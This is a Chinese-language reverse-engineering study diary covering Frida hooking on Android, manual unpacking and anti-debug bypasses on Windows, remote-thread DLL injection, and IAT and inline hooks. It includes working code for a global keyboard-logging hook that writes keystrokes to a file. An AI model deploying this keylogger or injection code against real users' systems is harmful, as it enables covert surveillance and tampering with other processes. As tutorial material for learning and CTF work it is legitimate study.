Frida学习日记

下载安装和简要说明

下载:

1
pip install frida-tools

下载 github 上的 frida server,类似ida的server;

Releases · frida/frida (github.com)

需要下载的名称为:frida-server-16.0.10-android-arm64.xz;(模拟器下载x64版本)

之后熟悉adb的使用:(需要root手机,模拟器也行但比较麻烦)

adb下载安装及使用_Dongs丶的博客-CSDN博客_adb下载

需要用到的指令:

1
2
3
4
5
6
7
8
adb devices						//查看是否连接到手机设备
adb shell //进入手机shell
adb push A/path B/path //将电脑上A路径的文件传到手机B路径上 一般B是 /sdcard
---
进入shell后操作:
su //sudo给权限
mv A/path B/path //转移(剪切)文件位置A到B,一般放到 /data/local
chmod 777 file //赋全权限

使用命令以激活server:

1
2
3
4
./frida_server64
---
电脑本机操作:
adb forward tcp:27042 tcp:27042 //转发手机端口到电脑

查看APP包名:

1
adb shell pm list packages -3

MuMu模拟器特殊说法:

1
adb connect 127.0.0.1:7555		//以usb连接到模拟器

指定设备转发端口:

1
adb -s ID forward tcp:xxx tcp:xxx

frida常用参数

执行命令: frida-ps, 展示进程应用;

1
2
3
-f			 //启动app
-R //remote
-l //load JS 脚本

如加载一个app并装载脚本:

1
frida -R -f app包名 -l 脚本.js

Frida实现调用函数

用Jeb找到包名,类名,以及函数名及其调用约定;

编写JS执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function()
{
const ClassName = Java.use("PackageName.ClassName") //定义一个类常量

//一般新建变量用let
let ObjectName = ClassName.$new() //实例化类,有静态修饰的不用做这一步
//new里面可加参数
//如实例化一个字符串类
const stringClass = Java.use("java.lang.String")
let res = ObejectName.MethodName( stringClass.$new('123') ) //执行方法且实例化并得到结果

//base64
const b64Class = Java.use("android.util.Base64")
console.log( b64Class.encodeToString(res,0) ) //打印base64编码res信息到调试窗
})

总结:

1
2
3
4
5
6
7
8
9
10
11
//开头
Java.perform(function(){}) //内容写在大括号里
---
//使用类
Java.use("PakageName.ClassName")
---
//实例化
ClassName.$new()
---
//打印信息
console.log()

Frida简单实现hook-java层

不管是否静态,可以如下书写:

1
2
3
4
ClassName.FuncName.implementation = function(p1,p2,...)
{
//your aim...
}

也是需要和上面的一样,先构造类常量,然后实例化;

此写法是直接覆盖原函数的内容,不会执行原本函数的内容,所以要规定好调用约定,返回对应的内容;

在改写函数中使用:

1
this.FuncName(...)

可以实现调用此类的原函数;

如果函数有重载,则写法如下:

1
2
3
4
ClassName.FuncName.overload('').implementation = function(p1,p2,...)
{
//your aim...
}

单引号里是参数的类型,如果是基本类型,则表示法为: [B 表示为byte;

如果是类类型,则直接输入其对应包的对应类名就行,如String类型: java.lang.String

一般而言,对于java常用类的函数hook,要有过滤,即对应地方调用的参数特点做出if判断并更改代码逻辑;

因为很多地方也会调用到相同的函数,此时就直接返回 this.FuncName() ,就不会使得程序崩溃;

Hook so层

hook so层要注意一点,要当so文件动态链接到应用后,才能调用其函数,不然会空指针报错,这和pwn的ret2libc一个道理;

hook so一般有两种方法,这里先介绍第一种,导出表 Export,找到导出的地址;

操作so层时不用 java.use ,用拦截器: Interceptor;

这里用获取一个函数传参结构体的打印代码解释:

假设原代码:

1
a = AimFunc(a1,a2,&v16,...);

此时第三个参数便是此时需要获取的结构体地址;

在32位程序中,指针占4字节,而结构体的地址过去第一个字段是真实的结构体数据的指针,隔了4个字节之后的,是这个结构体的大小;

那么对应hook代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//此函数接收一个指针,一般指向hook函数
Interceptor.attach( Module.findExportByName('your_so.so','FuncName'), //根据so文件名和函数名通过Export找
//第二个参数是回调函数
{
//函数开始时
onEnter(args){
let size = args[2].add(0x4).readu32() //args[2]也就是函数的第三个参数,加4得到结构体地址第二个字段地址
//将内容当作指针读取,再读取真实的结构体数据
let data = args[2].readPointer().readByteArray(size)

console.log(data) //打印data
},
//函数结束时,参数为返回值
onLeave(retval){

}
}
)

此时直接跑是会报错的,因为正如前面所述,在程序开始运行的时候就直接去寻找模块了,但是因为so还没有动态地链接,所以找不到,会得到一个null指针;

此时的解决思路是:找到加载此so文件的函数,先去hook掉java层的 LoadLibrary,再对比此时传入 LoadLibrary 参数是否是目标so文件,如果是,则再实现上面的代码,如果不是,则实现原函数代码内容;

通过java层的源码分析可以知道:LoadLibrary 的实现是 调用了一个 LoadLibrary0(a1,a2,a3)去实现主要代码的,而主要代码的逻辑是:如果传入的字符串是存在的so文件,那么就会直接在其中调用 nativeLoad 函数

而 nativeload 函数也会层层调用,最后会找到一个三参的 nativeload,原型如下:

1
private static native String nativeLoad(String filename, ClassLoader loader, Class<?> caller);

此时需要hook的函数,也就是这上面这个了;

主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//因为hook java层,所以用java.use,上述目标函数在runtime里
const runtimeClass = Java.use('java.lang.Runtime')
//hook目标函数
runtimeClass.nativeLoad.overload('java.lang.String','java.lang.ClassLoader','java.lang.Class').implementation = function(p1,p2,p3)
{
//调用一次原函数,使得so文件被装载
let res = this.nativeLoad(p1,p2,p3)
//查找第一个参数里是否带目标so文件的路径字符串
if(p1.indexOf('your_so.so') != -1)
{
//hook so层实现
}
return res
}

如果想要将想要的data数据dump出,可以用以下代码(frida提供):

1
2
3
4
5
//路径 + 大小 + 后缀名 (总名称)
let file = new File('/sdcard/' + size + '.bin', 'wb')
file.write(data)
file.flush()
file.close()

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Java.perform(function(){

const runtimeClass = Java.use('java.lang.Runtime')
//hook java层加载so的函数
runtimeClass.nativeLoad.overload('java.lang.String','java.lang.ClassLoader','java.lang.Class').implementation = function(p1,p2,p3)
{

let res = this.nativeLoad(p1,p2,p3)
//找到
if(p1.indexOf('your_so.so') != -1)
{
//hook so层函数
Interceptor.attach( Module.findExportByName('your_so.so','FuncName'),
{
onEnter(args){
let size = args[2].add(0x4).readu32()
let data = args[2].readPointer().readByteArray(size)

let file = new File('/sdcard/' + size + '.bin', 'wb')
file.write(data)
file.flush()
file.close()
},
onLeave(retval){

}
}
)
}
return res
}
})

第二种找到so内目标函数的方法是,没有export的情况,需要用偏移量来进行寻址,在attach函数调用的那一步,改写为:

1
2
const so = Process.findModuleByName('your_so.so')
Interceptor.attach( so.add(offset) {/*回调内容*/})

在IDA逆so的时候,设置segement为0,可以定位函数的地址直接为偏移量;

arm汇编中,函数传参使用r0~r4;

阅读全文
Windows逆向之脱壳与反调试 基础

详细请见 wiki

之前已经讲过其概念;这里更多的是脱壳的一些技巧,记录练手;

更多术语名词在之前提及过;

单步跟踪法

单步跟踪法的原理就是通过步过 (F8), 步入(F7) 和运行到 (F4) 功能, 完整走过程序的自脱壳过程, 跳过一些循环恢复代码的片段, 并用单步进入确保程序不会略过 OEP. 这样可以在软件自动脱壳模块运行完毕后, 到达 OEP, 并 dump 程序.

要点:

  1. 打开程序按 F8 单步向下, 尽量实现向下的 jmp 跳转;
  2. 会经常遇到大的循环, 这时要多用 F4 来跳过循环;
  3. 如果函数载入时不远处就是一个 call(近 call), 那么我们尽量不要直接跳过, 而是进入这个 call;
  4. 一般跳转幅度大的 jmp 指令, 都极有可能是跳转到了原程序入口点 (OEP);

用题举例:

打开后即是一个加壳文件,并有着 pusha 指令;

直接挂在开始处启动调试;

像图一的这种call就叫近call(基本上这个函数里只有几句话加1个call);

中间图的内容是跟进到找不到近call后可以看到这一系列的call在调用windows api,什么Module,ProcAddress一类的;

再往下走就能进入一个解码循环中,最后的通路在经过一番绕之后发现在 40D15F 这个地址;

debug

继续往下走.. 之后还会有些循环,在这些循环中,向下跳的指令如果没有判断执行,很可能就是这条路,如左图所示;

跳过之后能发现 popa 指令,这与 pusha 相对应,回复其寄存器状态;

跳转到对应函数后,有push指令和retn,意思是将该十六进制内容压入栈中,并利用这个数据,返回到此十六进制地址;这便是此程序的OEP(从D000变到1000,跳转很明显);

find

ESP定律法

ESP 定律的原理在于利用程序中堆栈平衡来快速找到 OEP.

由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用pushad, 在解压结束后, 会将之前的寄存器值出栈, 如使用popad. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的 OEP 位置.

简单来讲,在执行 pushad 之后, esp会确定下来,在 popad 执行后,也是此时的esp值,在此时esp栈上打个内存断点,则可检测两次esp同值时的时刻,第二次便是 popad 执行时;

要点:

  1. 程序刚载入开始 pushad/pushfd;
  2. 将全部寄存器压栈后就设对 ESP 寄存器设硬件断点
  3. 运行程序, 触发断点;
  4. 删除硬件断点开始分析;

用题举例:

还是之前的那个程序:

breakpoint

执行后打开此时esp的栈中位置,打上断点,F4执行,会弹出一个硬件断点被捕获的窗口,点击后可以看到来到了上次 popa 执行之后的地方;

这个方法非常好用;

一步到达OEP法

说白了就是搜索 text 为 popad 之类的东西,然后查看其结构是不是壳的转到OEP位置的地方,然后直接在这个地方断点,直接过去;

只能说,能用的壳比较有限;一般 转到OEP处的 jmp 指令 跳转会比较大;

内存dump

找到OEP后,即可dump出脱壳后的程序:

点击 IDA 的 file > script command > 写入脚本并用 IDC 运行;

1
2
3
4
5
6
7
8
9
static main(void)
{
auto fp, begin, end, dexbyte;
fp = fopen("your\\dumped\\file\\path", "wb");
begin = r0; //OEP位置
end = r0 + r1; //r1为大小,一般填90000
for ( dexbyte = begin; dexbyte < end; dexbyte ++ )
fputc(Byte(dexbyte), fp);
}

反调试

wiki上基本上都是说明,实际操作会来的更少,不过能了解一下,也能为后期搞反调试带来些许帮助;

NtGlobalFlag

原理:

在 32 位机器上, NtGlobalFlag字段位于PEB(进程环境块)0x68的偏移处, 64 位机器则是在偏移0xBC位置. 该字段的默认值为 0. 当调试器正在运行时, 该字段会被设置为一个特定的值,一般是0x70;

该字段包含有一系列的标志位. 由调试器创建的进程会设置以下标志位:

1
2
3
FLG_HEAP_ENABLE_TAIL_CHECK (0x10)
FLG_HEAP_ENABLE_FREE_CHECK (0x20)
FLG_HEAP_VALIDATE_PARAMETERS (0x40)

检测其值就能判断是否处于调试中;

PEB结构在汇编中加入的形式是经典的 fs:30h 段寄存器偏移;

这时候在PEB结构上往下偏移并找到 NtGlobalFlag;

之后检测;

如下为32位系统的 debug 检测:

1
2
3
4
5
mov eax, fs:[30h] ;Process Environment Block
mov al, [eax+68h] ;NtGlobalFlag
and al, 70h
cmp al, 70h
je being_debugged

64位中, PEB结构加入形式是 gs:lodsq,也是加到eax寄存器中;

绕过的核心思想:

在eip指向 mov al, [eax+68h] 找到其内存位置并重新修改其值为 0.

对于修改 NtGlobalFlag 初值可以用注册表,这里不详细说明;

Heap Flags

Heap flags包含有两个与NtGlobalFlag一起初始化的标志: FlagsForceFlags. 这两个字段的值不仅会受调试器的影响, 还会由 windows 版本而不同, 字段的位置也取决于 windows 的版本.

  • Flags 字段:
    • 在 32 位 Windows NT, Windows 2000 和 Windows XP 中, Flags位于堆的0x0C偏移处. 在 32 位 Windows Vista 及更新的系统中, 它位于0x40偏移处.
    • 在 64 位 Windows XP 中, Flags字段位于堆的0x14偏移处, 而在 64 位 Windows Vista 及更新的系统中, 它则是位于0x70偏移处.
  • ForceFlags 字段:
    • 在 32 位 Windows NT, Windows 2000 和 Windows XP 中, ForceFlags位于堆的0x10偏移处. 在 32 位 Windows Vista 及更新的系统中, 它位于0x44偏移处.
    • 在 64 位 Windows XP 中, ForceFlags字段位于堆的0x18偏移处, 而在 64 位 Windows Vista 及更新的系统中, 它则是位于0x74偏移处.

一般而言,NtGlobalFlag 设置后,Heap Flags 也会设置;

调试器存在则:

Flags字段:

1
2
3
4
5
HEAP_GROWABLE (2)
HEAP_TAIL_CHECKING_ENABLED (0x20)
HEAP_FREE_CHECKING_ENABLED (0x40)
HEAP_SKIP_VALIDATION_CHECKS (0x10000000)
HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)

ForgeFlags:

1
2
3
HEAP_TAIL_CHECKING_ENABLED (0x20)
HEAP_FREE_CHECKING_ENABLED (0x40)
HEAP_VALIDATE_PARAMETERS_ENABLED (0x40000000)

获取heap位置:

kernel32中的 GetProcessHeap();

PEB结构中查找,同样,一般动用fs,gs段寄存器就很容易是搞PEB的;

The Heap

堆在初始化时,会检查 heap flags;

设置 tail checking enable (尾部检测),那么会分配 0xABABABAB 给堆块尾;

设置 free checking enbale ,那么当需要额外字节填充堆块,会用 0xFEEEFEEE;

那么检测这些字节,可以得知是否在被调试,避免了动PEB的经典形象;

首先要先知道堆指针,且现代程序堆都会加密;

Int 3

无论何时触发了一个软件中断异常, 异常地址以及 EIP 寄存器的值都会同时指向产生异常的下一句指令. 但断点异常是其中的一个特例.

EXCEPTION_BREAKPOINT(0x80000003)异常触发时, Windows 会认定这是由单字节的 “CC“ 操作码 (也即Int 3指令) 造成的. Windows 递减异常地址以指向所认定的 “CC“ 操作码, 随后传递该异常给异常处理句柄. 但是 EIP 寄存器的值并不会发生变化.

因此, 如果使用了 CD 03(这是 Int 03 的机器码表示),那么当异常处理句柄接受控制时, 异常地址是指向 03 的位置.

IsDebuggerPresent

这个是典中典;

没调试的时候,返回的就是0;

实际上这个函数只是返回了 BeingDebugged 标志的值,也是PEB结构中的内容;

绕过:hook函数,或者改PEB表;

CheckRemoteDebuggerPresent

存在于kernel32中,检测指定的进程的调试状态;

1
2
3
4
BOOL WINAPI CheckRemoteDebuggerPresent(
_In_ HANDLE hProcess,
_Inout_ PBOOL pbDebuggerPresent
);

在被调试的时候,会将第二个参数指向的值变为0xffffffff;

简单的绕过只是将第二个参数的值在执行该函数后改变为0;

而这个函数本质是在对NtQueryInformationProcess的使用;

NtQueryInformationProcess

1
2
3
4
5
6
7
NTSTATUS WINAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle, //进程句柄
_In_ PROCESSINFOCLASS ProcessInformationClass, //信息类型
_Out_ PVOID ProcessInformation, //写入信息缓冲区
_In_ ULONG ProcessInformationLength, //缓冲区大小
_Out_opt_ PULONG ReturnLength
);

在第二个参数中,有一个信息类型叫做: ProcessDebugPort;宏为7;

此时该函数通过查询EPROCESS结构体的DebugPort字段, 当进程正在被调试时, 返回值为0xffffffff

ZwSetInformationThread

这个函数给线程设置信息,可以设置:ThreadHideFromDebugger,禁止线程调试;

处于调试状态,执行完:ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0) ,程序就会退出;

绕过:

ThreadHideFromDebugger,宏为0x11,如果看见这个函数,且有参数0x11,改之即可;

练习题:

一开始让输入password,进IDA之后就发现,密码就是很简单的 “I have a pen.”,在原程序里输入确实输出了 “correct”;但后面为何有这么多调试检测?这说明这道题的flag是需要通过调试查找的;

首先的关卡是 IsDebuggerPresent() ,以及NtGlobalFlag;

first

简单的对策便是 patch 右上图 1 为 0,右下图 70h 为 2 * 70h;

接下来遇到的是查看进程调试以及时间差;

second

首先改写 jz 为 jnz;

之后GetTickCount返回一个距离程序开始的时间,中间的图是一个sleep循环;最后比较1000;

这里只需简单粗暴改jbe为jmp;

接下来就是判断 process monitor 以及进程名,和是否虚拟机;

具体思想也是改值;

真实题里,这些反调试函数大大小小也是会比较的,但会有混淆,或者藏于线程,TLS等中去,更难发现;

而一般的题,确实大可不必去hook API,除非是线程里循环检测的反调试,一开就G的那种,但其实也可以静态patch;

还有那种判断过后卡几个call再G的反调试,真真的恶心人;

总结

熟悉了下手脱壳以及ida的 dump内存;熟悉硬件断点的使用;知晓一些简单的反调试原理;

感觉反调试原理大多与 PEB 结构有关系;所以接下来会考虑 开坑 PEB;

阅读全文
DLL注入与HOOK

首先啊,首先啊;

你得了解windows编程及其基于消息的处理机制,DllMain函数;

不然就会看不懂或者啃着异常难受核心原理第三章;

dll注入

dll为文件后缀名,称为dynamic link library,动态链接库,一般用于存储方法和函数,进程运行时动态地调用其函数;

其显示调用命令为:

1
LoadLibrary(".//your//dll's//path");

dll注入,顾名思义,将已有进程,使其调用不属于它本身的dll文件,称为dll注入;

一般用于对已经做好的软件进行升级扩展和修补漏洞,也可用于外挂;

远程线程注入

根据dll注入的本意,很轻易的可以想到通过创建远程进程的子线程对其进行 LoadLibrary 操作;

利用windows API,于是有以下操作:

1
2
3
4
5
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

//创建进程中的线程
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, ThreadProc, dll_path, 0, 0);

其中,ThreadProc 是线程回调函数,也就是线程内容,可以在其中执行 LoadLibrary;

但由于其特殊性,该回调函数的特征类似于LoadLibrary函数,都只有一个参数,而且类型可以说是一样的:

1
2
3
4
5
6
7
8
9
//回调
DWORD WINAPI ThreadProc(
_In_ LPVOID lpParameter
);

//LoadLibrary
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);

所以创建线程可以写成如下:

1
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, dll_path, 0, 0);

但有个问题?这里的dll_path传参数是本进程的地址,如果直接这么用,那么目标进程执行时,就会造成调用越界出错;

所以需要dll_path写入目标进程,用windows API 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
char buffer[] = ".//your//dll's//path";
SIZE_T bufferSize = strlen(buffer) + 1;
SIZE_T realWrite = 0;

//申请进程内存空间
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE);
if (str == NULL)
{
cout << "malloc err !!" << endl;
return 0;
}
//将字符串写入该空间
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);

之后再用str去创建线程传参,就没有问题了;

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include<Windows.h>
#include<iostream>
using namespace std;

int main()
{
int pid = "your aim pid";
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
cout << "open fail !! " << endl;
return 0;
}

char buffer[] = ".//your//dll's//path";
SIZE_T bufferSize = strlen(buffer) + 1;
SIZE_T realWrite = 0;

//申请进程内存空间
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE);
if (str == NULL)
{
cout << "malloc err !!" << endl;
return 0;
}
//将字符串写入该空间
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);

//创建进程中的线程
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, str, 0, 0);
if (hThread == NULL)
{
cout << "thread create err !!" << endl;
return 0;
}

//一直等待线程结束
WaitForSingleObject(hThread, -1);

//扫尾
VirtualFreeEx(hProcess, str, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);

return 0;
}

之后写一个dll具体实现,就能将其注入了;

HOOK

钩子,和网络上的抓包很类似,在上下文中设置hook,即可捕获了解到其中的执行信息;

消息 hook

你已经知道windows是基于消息操作的,也可以叫基于事件操作,那么将钩子设置在消息队列和进程之间的消息传输中,就叫消息hook;

windows提供了消息hook的API,只需要会用就行;

API 作用
SetWindowsHookEx 设置钩子
CallNextHookEx 传递钩子信息到钩子链的下一个子程序
UnHookWindowsHookEx 卸载钩子

其中有个特点需要了解:

进程如果被hook,那么有关其hook的dll会被强制归属于该进程,所以hook一般也写在dll中,也是一种dll注入的手段;

来看一个键盘记录器的实际代码;

首先是dll程序主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOOL APIENTRY DllMain( HMODULE hModule,					//实例句柄
DWORD ul_reason_for_call, //调用原因或可以说是时机
LPVOID lpReserved //保留字段
)
{

switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //创建进程时执行
g_hInstance = hModule; //之后hook函数需要用到的实例句柄
break;
}
return TRUE;
}

之后分别是hook的设置,处理,以及卸载;

设置HOOK:

1
2
3
4
5
6
7
8
9
10
11
BOOL InstallHook()
{
//填0全局hook,这里选用键盘消息的勾取
g_hHook = SetWindowsHookExA(WH_KEYBOARD, KeyboardProc, g_hInstance, 0);

if (g_hHook)
{
return TRUE;
}
return FALSE;
}

使用回调函数处理捕获信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
LRESULT CALLBACK KeyboardProc(
_In_ int code,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (code == HC_ACTION)
{
//键帽按下状态
if ((lParam & 0x80000000) == 0)
{
//将虚拟键转换为字符
BYTE KeyState[256]{ 0 };
if (GetKeyboardState(KeyState))
{
LONG keyinfo = lParam;
UINT keyCode = (keyinfo >> 16) & 0x00ff;
WCHAR wkeyCode = 0;
ToAscii((UINT)wParam, keyCode, KeyState, (LPWORD)&wkeyCode, 0);
CHAR strinfo[12] = { 0 };
sprintf_s(strinfo, _countof(strinfo), "%c", wkeyCode);

//写到桌面,这样仅仅对ascii实用
FILE* fp = NULL;
fopen_s(&fp, "C://your//path//to//Desktop//hook_log.txt", "a+");
fwrite(strinfo, 1, 1, fp);
fclose(fp);
return 0;
}
}
}
//不处理给下一个钩子,类似于窗口的回调函数最后返回
return CallNextHookEx(g_hHook, code, wParam, lParam);
}

卸载钩子:

1
2
3
4
BOOL UnInstallHook()
{
return UnhookWindowsHookEx(g_hHook);
}

至此,一个拥有消息hook的dll文件产生了,再使用任意主程序调用即可;

IAT hook

顾名思义,此hook是对于IAT而言,IAT即 import address table ,导入地址表,在程序变为进程时,此表存储了导入函数的地址,在磁盘形态时存储的则是其函数名称,或者序号;

利用该hook可以使得改变原程序调用函数为自定义函数,当然传参需要一致,调用约定需要一致

先回顾下 IAT 结构:

先拿DOS头找到PE头,接着拿PE头找可选PE头,可选头最后一个字段是一个数组,其存放各种表的 rva;

1
2
3
4
IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress; // +0000h - 数据的起始RVA
DWORD Size; // +0004h - 数据块的长度
}

下标为1的元素即为导入表,利用rva跳转到表本身,同时注意表有多个,因为导入的dll会是多个,所以记得循环遍历;

导入表中的 FirstThunk即为 IAT,同时注意,IAT有多个函数地址,也需要一次循环遍历;

IAT

由此,寻找函数地址的函数为:(输入dll名和函数名以查询)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//32位程序用DWORD
DWORD* GetIatAddr(const char* dllName, const char* dllFunName)
{
//获取本进程的句柄,也就是载入的exe文件
HMODULE hModule = GetModuleHandleA(0);
DWORD buffer = (DWORD)hModule;

//获取DOS头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)buffer;
//获取PE头
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + buffer);
//获取可选头
PIMAGE_OPTIONAL_HEADER pOptionalHeader = &pNtHeader->OptionalHeader;
//获取那个结构体数组
PIMAGE_DATA_DIRECTORY dataDirectory = &pOptionalHeader->DataDirectory[1];
//获取导入表
PIMAGE_IMPORT_DESCRIPTOR pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(dataDirectory->VirtualAddress + buffer);

//遍历导入表
while (pImportTable->Name)
{
char* name = (char *)(pImportTable->Name + buffer);
//是否dll名相同
if (!_stricmp(name, dllName))
{
//根据名字拿地址
//获取INT
PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pImportTable->OriginalFirstThunk + buffer);
//获取IAT
PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pImportTable->FirstThunk + buffer);

//同步遍历INT和IAT
while (pINT->u1.Function)
{
//按名导入
if ((pINT->u1.Ordinal & 0x80000000) == 0)
{
PIMAGE_IMPORT_BY_NAME pImportName = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.Function + buffer);
if (!strcmp(pImportName->Name, dllFunName))
{
return (DWORD*)pIAT;
}
}
pINT++;
pIAT++;
}
}
pImportTable++;
}

return NULL;
}

接着便是dllMain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{

switch (ul_reason_for_call)
{
//创建进程时获取函数地址,此次修改的函数是MessageBoxW
case DLL_PROCESS_ATTACH:
printf("注入成功!\n");
//获取函数地址
g_iatAddr = GetIatAddr("user32.dll", "MessageBoxW");
g_preIatAddr = g_iatAddr;

//设置钩子
InstallHook();
break;
//进程结束时卸载钩子
case DLL_PROCESS_DETACH:
//卸载钩子
UnInstallHook();
break;
}
return TRUE;
}

BOOL InstallHook()
{
DWORD oldProtect = 0;
//更改IAT处可写权限
VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
//更改函数地址
*g_iatAddr = (DWORD)Hack;
VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect);
return TRUE;
}

BOOL UnInstallHook()
{
DWORD oldProtect = 0;
//更改IAT处可写权限
VirtualProtect(g_iatAddr, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
//还原更改的IAT
*g_iatAddr = (DWORD)g_preIatAddr;
VirtualProtect(g_iatAddr, 4, oldProtect, &oldProtect);
return TRUE;
}

Inline hook

IAT hook 是有缺陷的,即若导入函数无名就会失去作用;

而知道的是,IAT hook 的主要思路就是改变所hook函数的地址

既然要hook一个函数,那么这个函数一定会调用,则inline hook 的主旨便是:

进入目标函数时执行跳转,跳转到自实现函数里去;意思就是更改其第一条汇编码为 jmp aimAddr ;

具体实现则是更改其第一条指令对应的硬编码,也就是机械码,二进制内容;

对于32位程序的x86而言,jmp指令会占 5 个字节,第一个固定 E9 为 jmp指令,后面跟随的4个字节为偏移;

该偏移的计算公式为 : offset = aimAddr - jmp指令的下一条地址;

也就是 : offset = aimAddr - jmp指令地址 - 5;

那么主要的dll构造思路为:

  1. 拿到目标函数地址,存档其前5字节内容,因为要恢复;
  2. 算出偏移并更改目标地址前5字节内容为跳转;
  3. 执行自实现函数的处理部分;
  4. 恢复5字节内容;

由此全局存储变量:

1
2
3
4
//分别是目标函数地址,保留5字节和修改5字节
DWORD aimAddr = 0;
char oldBytes[5] = { 0 };
char newBytes[5] = { 0xE9 };

则有初始化函数实现思路中 1,2 中的算偏移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL InitHook()
{
HMODULE hModule = LoadLibraryA("user32.dll");
if (hModule == 0) return FALSE;
//获取真实的地址
aimAddr = (DWORD)GetProcAddress(hModule, "MessageBoxW");
//保留5字节
memcpy(oldBytes, (char*)aimAddr, 5);
//偏移搞定,hack为自定义函数
DWORD offset = (DWORD)Hack - aimAddr - 5;
//修改5字节
memcpy(&newBytes[1], &offset, 4);

return TRUE;
}

装载和卸载钩子以实现 2,4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
BOOL InstallHook()
{
DWORD oldProtect = 0;
VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
//修改为跳转
memcpy((char*)aimAddr, newBytes, 5);
VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);

return TRUE;
}

BOOL UnInstallHook()
{
DWORD oldProtect = 0;
VirtualProtect((DWORD*)aimAddr, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
//恢复
memcpy((char*)aimAddr, oldBytes, 5);
VirtualProtect((DWORD*)aimAddr, 5, oldProtect, &oldProtect);

return TRUE;
}

最后由自定义函数实现思路 3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int WINAPI Hack(
HWND hWnd,
LPCWSTR lpText,
LPCWSTR lpCaption,
UINT uType
)
{
//调用原本函数的输出想要的效果
UnInstallHook();
int result = MessageBoxW(0, L"hacker~", L"提示", MB_OK);
InstallHook();

return result;
}

同理,进程创建时初始化和挂钩,进程结束时解钩;

总体来说写法会比 IAT hook 更轻松;

总结

刚入门dll注入系列以及hook,开始发现很有意思;

注意啊,hook的函数需要和原函数保持一致,包括调用约定和参数!!!

阅读全文
Windows编程

重要头文件:windows.h;

word 是字,占2个字节;

不会的函数可以去微软查出来,vs里选中F1;

链接器 子系统 选择 窗口;

windows是操作消息的,它有一个消息队列,可获取如鼠标键盘产生的消息;

数据类型

  • UINT unsigned int

  • DWORD double word

  • PDWORD pointer double word

  • BOOL bool

  • short short int

  • LRSULT 32 函数返回值

  • WPARAM LPARAM 32 消息参数

  • HANDLE 理解成windows对象,句柄

  • HWND 窗口句柄

  • HINSTANCE 实例句柄

主函数

1
2
3
4
5
6
int WINAPI WinMain(
HINSTANCE hInstance, //程序的实例句柄
HINSTANCE hPreInstance, //上一个程序实例句柄(遗弃)
LPSTR lpCmdLine, //命令行参数
int nCmdShow //显示方式(最大化,窗口)
)

参数一个不能少;

弹窗

1
2
3
4
5
6
int MessageBox(
HWND hWnd; //所有者窗口句柄(父级窗口) 无可填NULL
LPCTSTR lpText; //显示内容
LPCTSTR lpCaption, //标题
UINT uType //风格(确认,取消一类的按键)
);

选择不同的按键返回不同的值;

字符串处理

  • ascii码对应普通字符串 CHAR -> char
  • utf系列对应宽字符串 WCHAR -> wchar_t 输出是 %ls 用 L 修饰
  • 通用字符串 TCHAR -> 类型随环境变化,引用 tchar.h 头 用_T()修饰;

由此引申出了三个版本的操作函数;

长度操作

strlen wcslen _tcslen

